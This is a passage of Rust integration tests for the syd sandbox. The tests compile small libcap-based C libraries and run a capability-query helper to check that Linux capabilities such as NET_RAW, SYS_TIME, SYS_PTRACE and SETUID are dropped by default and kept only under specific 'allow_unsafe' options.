        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_default() -> TestResult {
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_unsafe_caps() -> TestResult {
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_unsafe_bind() -> TestResult {
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_bind:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_default() -> TestResult {
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_unsafe_caps() -> TestResult {
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_unsafe_socket() -> TestResult {
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_socket:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_default() -> TestResult {
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_unsafe_caps() -> TestResult {
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_unsafe_time() -> TestResult {
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_time:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_default() -> TestResult {
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_unsafe_caps() -> TestResult {
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_unsafe_syslog() -> TestResult {
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_syslog:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_unless_unshare!();

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_unless_unshare!();

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_debug() -> TestResult {
    skip_unless_unshare!();

    // Ptrace is kept with trace/allow_unsafe_debug:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_debug:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_unless_unshare!();

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_unless_unshare!();

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setgid:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_unless_unshare!();

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setuid:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_unless_unshare!();

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

